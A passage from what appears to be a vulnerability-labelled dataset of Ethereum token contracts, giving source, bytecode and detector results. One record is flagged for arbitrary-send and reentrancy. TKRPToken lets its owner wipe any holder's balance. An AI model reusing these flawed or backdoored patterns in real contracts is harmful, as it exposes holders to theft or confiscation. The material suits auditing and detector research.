1561108057600080fd5b505af1158015611094573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110b99190611657565b50506011805460ff60a81b1916905550505050565b600081836110ef5760405162461bcd60e51b81526004016105c091906116c8565b506000610f0e84866117db565b60008061110983856117c3565b90508381101561098d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105c0565b600080611167836113fd565b6001600160a01b038716600090815260026020526040902054919350915061118f90846113bb565b6001600160a01b0380871660009081526002602052604080822093909355908616815220546111be90836110fc565b6001600160a01b0385166000908152600260205260408082209290925530815220546111ea90826110fc565b3060009081526002602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061128f5761128f611864565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112e357600080fd5b505afa1580156112f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131b9190611474565b8160018151811061132e5761132e611864565b6001600160a01b03928316602091820292909201015260105461135491309116846109d6565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061138d908590600090869030904290600401611752565b600060405180830381600087803b1580156113a757600080fd5b505af11580156110b9573d6000803e3d6000fd5b600061098d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610edd565b600080600061141d6103e8610fa86008548761090e90919063ffffffff16565b9050600061142b85836113bb565b959194509092505050565b803561144181611890565b919050565b803560ff8116811461144157600080fd5b60006020828403121561146957600080fd5b813561098d81611890565b60006020828403121561148657600080fd5b815161098d81611890565b600080604083850312156114a457600080fd5b82356114af81611890565b915060208301356114bf81611890565b809150509250929050565b6000806000606084860312156114df57600080fd5b83356114ea81611890565b925060208401356114fa81611890565b929592945050506040919091013590565b6000806040838503121561151e57600080fd5b823561152981611890565b946020939093013593505050565b6000602080838503121561154a57600080fd5b823567ffffffffffffffff8082111561156257600080fd5b818501915085601f83011261157657600080fd5b8135818111156115885761158861187a565b8060051b604051601f19603f830116810181811085821117156115ad576115ad61187a565b604052828152858101935084860182860187018a10156115cc57600080fd5b600095505b838610156115f6576115e281611436565b8552600195909501949386019386016115d1565b5098975050505050505050565b60006020828403121561161557600080fd5b8151801515811461098d57600080fd5b60006020828403121561163757600080fd5b5035919050565b60006020828403121561165057600080fd5b5051919050565b60008060006060848603121561166c57600080fd5b8351925060208401519150604084015190509250925092565b60008060006060848603121561169a57600080fd5b6116a384611446565b92506116b160208501611446565b91506116bf60408501611446565b90509250925092565b600060208083528351808285015260005b818110156116f5578581018301518582016040015282016116d9565b81811115611707576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117a25784516001600160a01b03168352938301939183019160010161177d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156117d6576117d661184e565b500190565b6000826117f857634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118175761181761184e565b500290565b60008282101561182e5761182e61184e565b500390565b60006000198214156118475761184761184e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461063957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f5f0549a179c4f8f0730f188bfe6b4d43f0422e4d2d9357a20321add32faa30d64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,822
0x606c4327236e25eb4c849a8fa0c91a531e6424ec
pragma solidity ^0.4.23; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken, Ownable { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom ( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public onlyOwner returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Standard Burnable Token * @dev Adds burnFrom method to ERC20 implementations */ contract StandardBurnableToken is BurnableToken, StandardToken { /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param _from address The address which you want to send tokens from * @param _value uint256 The amount of token to be burned */ function burnFrom(address _from, uint256 _value) public onlyOwner { require(_value <= allowed[_from][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } } contract Molecule is StandardBurnableToken { string public constant name = "Molecule Token"; string public constant symbol = "MLC"; uint32 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 20000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018657806318160ddd146101eb57806323b872dd146102165780632ff2e9dc1461029b578063313ce567146102c657806342966c68146102fd578063661884631461032a57806370a082311461038f578063715018a6146103e657806379cc6790146103fd5780638da5cb5b1461044a57806395d89b41146104a1578063a9059cbb14610531578063d73dd62314610596578063dd62ed3e146105fb578063f2fde38b14610672575b600080fd5b34801561010257600080fd5b5061010b6106b5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ee565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b5061020061083c565b6040518082815260200191505060405180910390f35b34801561022257600080fd5b50610281600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610846565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102b0610c00565b6040518082815260200191505060405180910390f35b3480156102d257600080fd5b506102db610c14565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34801561030957600080fd5b5061032860048036038101908080359060200190929190505050610c19565b005b34801561033657600080fd5b50610375600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c26565b604051808215151515815260200191505060405180910390f35b34801561039b57600080fd5b506103d0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb7565b6040518082815260200191505060405180910390f35b3480156103f257600080fd5b506103fb610eff565b005b34801561040957600080fd5b50610448600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611004565b005b34801561045657600080fd5b5061045f611208565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104ad57600080fd5b506104b661122e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104f65780820151818401526020810190506104db565b50505050905090810190601f1680156105235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561053d57600080fd5b5061057c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611267565b604051808215151515815260200191505060405180910390f35b3480156105a257600080fd5b506105e1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611486565b604051808215151515815260200191505060405180910390f35b34801561060757600080fd5b5061065c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611682565b6040518082815260200191505060405180910390f35b34801561067e57600080fd5b506106b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611709565b005b6040805190810160405280600e81526020017f4d6f6c6563756c6520546f6b656e00000000000000000000000000000000000081525081565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561074c57600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561088357600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108d057600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561095b57600080fd5b6109ac826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a3f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186190919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601263ffffffff16600a0a6301312d000281565b601281565b610c233382611896565b50565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d37576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dcb565b610d4a838261186190919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f5b57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106057600080fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156110eb57600080fd5b61117a81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186190919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112048282611896565b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4d4c43000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112a457600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156112f157600080fd5b611342826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113d5826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061151782600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187a90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561176557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117a157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561186f57fe5b818303905092915050565b6000818301905082811015151561188d57fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156118e357600080fd5b611934816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186190919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061198b8160015461186190919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a723058204d0c5d8a862ec2b47e2f17a9246593c4926c3a218cdcbabf1e452c03fb3e61600029
{"success": true, "error": null, "results": {}}
5,823
0x2ed86079b04a35402b473323927e7ea722e8057b
pragma solidity ^0.4.11; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value); function approve(address spender, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title TKRPToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract TKRPToken is StandardToken { event Destroy(address indexed _from); string public name = "TKRPToken"; string public symbol = "TKRP"; uint256 public decimals = 18; uint256 public initialSupply = 500000; /** * @dev Contructor that gives the sender all tokens */ function TKRPToken() { totalSupply = initialSupply; balances[msg.sender] = initialSupply; } /** * @dev Destroys tokens from an address, this process is irrecoverable. * @param _from The address to destroy the tokens from. */ function destroyFrom(address _from) onlyOwner returns (bool) { uint256 balance = balanceOf(_from); if (balance == 0) throw; balances[_from] = 0; totalSupply = totalSupply.sub(balance); Destroy(_from); } } /** * @title PreCrowdsale * @dev Smart contract which collects ETH and in return transfers the TKRPToken to the contributors * Log events are emitted for each transaction */ contract PreCrowdsale is Ownable { using SafeMath for uint256; /* Constants */ uint256 public constant TOKEN_CAP = 500000; uint256 public constant MINIMUM_CONTRIBUTION = 10 finney; uint256 public constant TOKENS_PER_ETHER = 10000; uint256 public constant PRE_CROWDSALE_DURATION = 5 days; /* Public Variables */ TKRPToken public token; address public preCrowdsaleOwner; uint256 public tokensSent; uint256 public preCrowdsaleStartTime; uint256 public preCrowdsaleEndTime; bool public crowdSaleIsRunning = false; /** * @dev Fallback function which invokes the processContribution function * @param _tokenAddress TKRP Token address * @param _to preCrowdsale owner address */ function PreCrowdsale(address _tokenAddress, address _to) { token = TKRPToken(_tokenAddress); preCrowdsaleOwner = _to; } /** * @dev Fallback function which invokes the processContribution function */ function() payable { if (!crowdSaleIsRunning) throw; if (msg.value < MINIMUM_CONTRIBUTION) throw; uint256 contributionInTokens = msg.value.mul(TOKENS_PER_ETHER).div(1 ether); if (contributionInTokens.add(tokensSent) > TOKEN_CAP) throw; /* Send the tokens */ token.transfer(msg.sender, contributionInTokens); tokensSent = tokensSent.add(contributionInTokens); } /** * @dev Starts the preCrowdsale */ function start() onlyOwner { if (preCrowdsaleStartTime != 0) throw; crowdSaleIsRunning = true; preCrowdsaleStartTime = now; 